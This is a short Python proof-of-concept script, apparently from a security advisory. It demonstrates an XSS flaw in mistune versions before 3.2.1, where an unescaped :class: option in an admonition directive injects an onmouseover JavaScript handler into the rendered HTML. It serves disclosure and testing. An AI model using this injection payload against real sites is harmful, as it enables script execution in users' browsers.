Vulnerable code sample

import mistune
from mistune.directives import Admonition

# This code requires a vulnerable version of mistune (< 3.2.1) to be installed.
# e.g., pip install mistune==3.2.0

# Malicious Markdown input with an injected "onmouseover" event.
# The :class: option is not escaped, allowing the value to close the
# class attribute and inject a new JavaScript event handler attribute.
malicious_markdown = '''
.. admonition:: DANGER
   :class: " onmouseover="alert('XSS executed')"

   Hover over this box to trigger the alert.
'''

# Initialize mistune with the Admonition directive plugin.
# In vulnerable versions, this setup will process the :class:
# option without proper escaping.
markdown_parser = mistune.create_markdown(
    escape=True,  # Note: The vulnerability occurs even when escape=True
    plugins=[Admonition()]
)

# Render the malicious markdown to HTML.
vulnerable_html_output = markdown_parser(malicious_markdown)

# Print the resulting HTML, which will contain the injected attribute.
print(vulnerable_html_output)